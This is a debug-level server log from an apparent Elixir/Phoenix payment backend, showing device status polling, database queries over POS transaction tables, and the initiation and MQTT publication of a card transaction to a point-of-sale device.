[Fri Sep  4 05:19:02.578000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58054] QUERY OK source="pos_failed_transaction" db=5.2ms idle=997.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:19:02.581000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58054] QUERY OK source="cloud_transaction" db=2.8ms queue=0.1ms idle=1002.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:19:02.581000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58054] Sent 200 in 50ms
[Fri Sep  4 05:19:07.397000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33630] POST /api/device/status
[Fri Sep  4 05:19:07.397000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:33630] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:07.398000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33630] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:07.398000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33630] Transaction reference number: "ch888552988618"
[Fri Sep  4 05:19:07.415000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33630] QUERY OK source="pos_transaction" db=15.5ms idle=1826.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:07.416000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33630] QUERY OK source="pos_temp_transaction" db=0.8ms idle=1838.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:19:07.419000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33630] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1839.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:19:07.420000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33630] QUERY OK source="cloud_transaction" db=0.5ms idle=1386.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:19:07.420000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33630] Sent 200 in 23ms
[Fri Sep  4 05:19:12.479000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33644] POST /api/device/status
[Fri Sep  4 05:19:12.479000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:33644] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:12.479000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33644] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:12.479000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33644] Transaction reference number: "ch888552988618"
[Fri Sep  4 05:19:12.492000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33644] QUERY OK source="pos_transaction" db=12.6ms idle=1905.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:12.494000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33644] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.2ms idle=1918.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:19:12.497000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33644] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1920.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:19:12.498000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33644] QUERY OK source="cloud_transaction" db=0.9ms idle=1923.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:19:12.498000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33644] Sent 200 in 19ms
[Fri Sep  4 05:19:26.146000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42960] POST /api/device/initiate
[Fri Sep  4 05:19:26.146000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42960] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch277786391682", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:26.146000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Processing card transaction for reference: ch277786391682
[Fri Sep  4 05:19:26.147000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="users" db=0.4ms idle=1045.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:19:26.148000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="custom_events" db=0.8ms idle=573.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:19:26.149000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch277786391682"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch277786391682",
  external_ref_number_2: "9799673167",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Fri Sep  4 05:19:26.149000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch277786391682",
    external_ref_number_2: "9799673167",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch277786391682",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:19:26.149635Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 05:19:26.150000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:42960] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch277786391682", external_ref_number_2: "9799673167", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch277786391682", transaction_id: nil, date_added: ~U[2026-09-04 05:19:26.149635Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Fri Sep  4 05:19:26.249000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK db=99.1ms queue=0.2ms idle=575.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch277786391682", external_ref_number_2: "9799673167", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch277786391682", ~U[2026-09-04 05:19:26Z], 35, "initiate_card_txn_request", ~N[2026-09-04 05:19:26], ~N[2026-09-04 05:19:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:19:26.250000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Successfully created custom event log with ID: 40248
[Fri Sep  4 05:19:26.250000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Handling card transaction:
- Reference: ch277786391682
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch277786391682", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Fri Sep  4 05:19:26.251000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="users" db=0.4ms idle=676.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:19:26.252000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="custom_events" db=0.8ms idle=677.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:19:26.253000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch277786391682"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788499166,
  device_id: "98251226730002",
  amount: 122
}

[Fri Sep  4 05:19:26.253000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788499166,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch277786391682",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:19:26.253278Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 05:19:26.253000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:42960] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788499166, device_id: "98251226730002", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch277786391682", transaction_id: nil, date_added: ~U[2026-09-04 05:19:26.253278Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 05:19:26.335000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK db=80.1ms queue=1.1ms idle=678.7ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788499166, device_id: "98251226730002", amount: 122}, "Response From Device Online Status", "ch277786391682", ~U[2026-09-04 05:19:26Z], 36, "response_from_device_online_status", ~N[2026-09-04 05:19:26], ~N[2026-09-04 05:19:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:19:26.335000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Successfully created custom event log with ID: 40249
[Fri Sep  4 05:19:26.335000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch277786391682\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 05:19:26.403000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK db=66.6ms queue=0.5ms idle=760.8ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch277786391682", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_6c1babec1c5d@mercurypay.in", "98251226730002", "ch277786391682", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-04 05:19:26], ~N[2026-09-04 05:19:26]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 05:19:26.404000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="users" db=0.9ms idle=493.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:19:26.405000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="custom_events" db=0.5ms idle=409.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:19:26.406000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch277786391682"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788499166,
  qos: 1,
  device_id: "98251226730002",
  amount: 122
}

[Fri Sep  4 05:19:26.406000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788499166,
    qos: 1,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch277786391682",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:19:26.406155Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 05:19:26.406000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:42960] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499166, qos: 1, device_id: "98251226730002", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch277786391682", transaction_id: nil, date_added: ~U[2026-09-04 05:19:26.406155Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 05:19:26.482000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK db=75.8ms idle=302.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499166, qos: 1, device_id: "98251226730002", amount: 122}, "Request For Publish Txn", "ch277786391682", ~U[2026-09-04 05:19:26Z], 37, "request_for_publish_txn", ~N[2026-09-04 05:19:26], ~N[2026-09-04 05:19:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:19:26.482000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Successfully created custom event log with ID: 40250
[Fri Sep  4 05:19:26.484000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1095499778.236268>
